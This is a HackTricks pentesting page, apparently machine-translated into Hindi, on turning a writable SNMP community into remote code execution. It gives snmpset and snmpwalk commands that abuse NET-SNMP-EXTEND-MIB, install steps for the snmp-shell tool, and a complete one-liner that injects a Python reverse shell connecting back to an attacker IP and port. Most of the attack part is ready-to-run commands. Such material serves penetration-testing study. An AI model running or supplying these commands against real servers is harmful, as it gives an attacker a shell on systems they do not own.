SNMP RCE

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

SNMP RCE

यदि व्यवस्थापक डिवाइस या सर्वर पर इसकी डिफ़ॉल्ट कॉन्फ़िगरेशन को नजरअंदाज करता है, तो एक हमलावर SNMP का शोषण कर सकता है। लिनक्स ऑपरेटिंग सिस्टम पर लिखने की अनुमति (rwcommunity) के साथ SNMP समुदाय का दुरुपयोग करके, हमलावर सर्वर पर कमांड निष्पादित कर सकता है।

अतिरिक्त कमांड के साथ सेवाओं का विस्तार करना

SNMP सेवाओं का विस्तार करने और अतिरिक्त कमांड जोड़ने के लिए, "nsExtendObjects" तालिका में नई पंक्तियाँ जोड़ना संभव है। यह snmpset कमांड का उपयोग करके और आवश्यक पैरामीटर प्रदान करके किया जा सकता है, जिसमें निष्पादन योग्य फ़ाइल का पूर्ण पथ और निष्पादित करने के लिए कमांड शामिल है:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

कमांड निष्पादन के लिए इंजेक्ट करना

SNMP सेवा पर चलाने के लिए कमांड इंजेक्ट करने के लिए कॉल किए गए बाइनरी/स्क्रिप्ट का अस्तित्व और निष्पादन योग्य होना आवश्यक है। NET-SNMP-EXTEND-MIB निष्पादन योग्य के लिए पूर्ण पथ प्रदान करने की आवश्यकता होती है।

इंजेक्ट किए गए कमांड के निष्पादन की पुष्टि करने के लिए, snmpwalk कमांड का उपयोग SNMP सेवा को सूचीबद्ध करने के लिए किया जा सकता है। आउटपुट कमांड और इसके संबंधित विवरण प्रदर्शित करेगा, जिसमें पूर्ण पथ शामिल है:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Running the Injected Commands

जब इंजेक्ट किया गया कमांड पढ़ा जाता है, तो इसे निष्पादित किया जाता है। इस व्यवहार को run-on-read() के रूप में जाना जाता है। कमांड का निष्पादन snmpwalk पढ़ने के दौरान देखा जा सकता है।

Gaining Server Shell with SNMP

सर्वर पर नियंत्रण प्राप्त करने और सर्वर शेल प्राप्त करने के लिए, mxrch द्वारा विकसित एक पायथन स्क्रिप्ट का उपयोग https://github.com/mxrch/snmp-shell.git से किया जा सकता है।

वैकल्पिक रूप से, SNMP में एक विशिष्ट कमांड इंजेक्ट करके मैन्युअल रूप से एक रिवर्स शेल बनाया जा सकता है। यह कमांड, जो snmpwalk द्वारा ट्रिगर किया जाता है, हमलावर की मशीन के लिए एक रिवर्स शेल कनेक्शन स्थापित करता है, जिससे पीड़ित मशीन पर नियंत्रण प्राप्त होता है। आप इसे चलाने के लिए पूर्व-आवश्यकता स्थापित कर सकते हैं:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

या एक रिवर्स शेल:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

संदर्भ

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated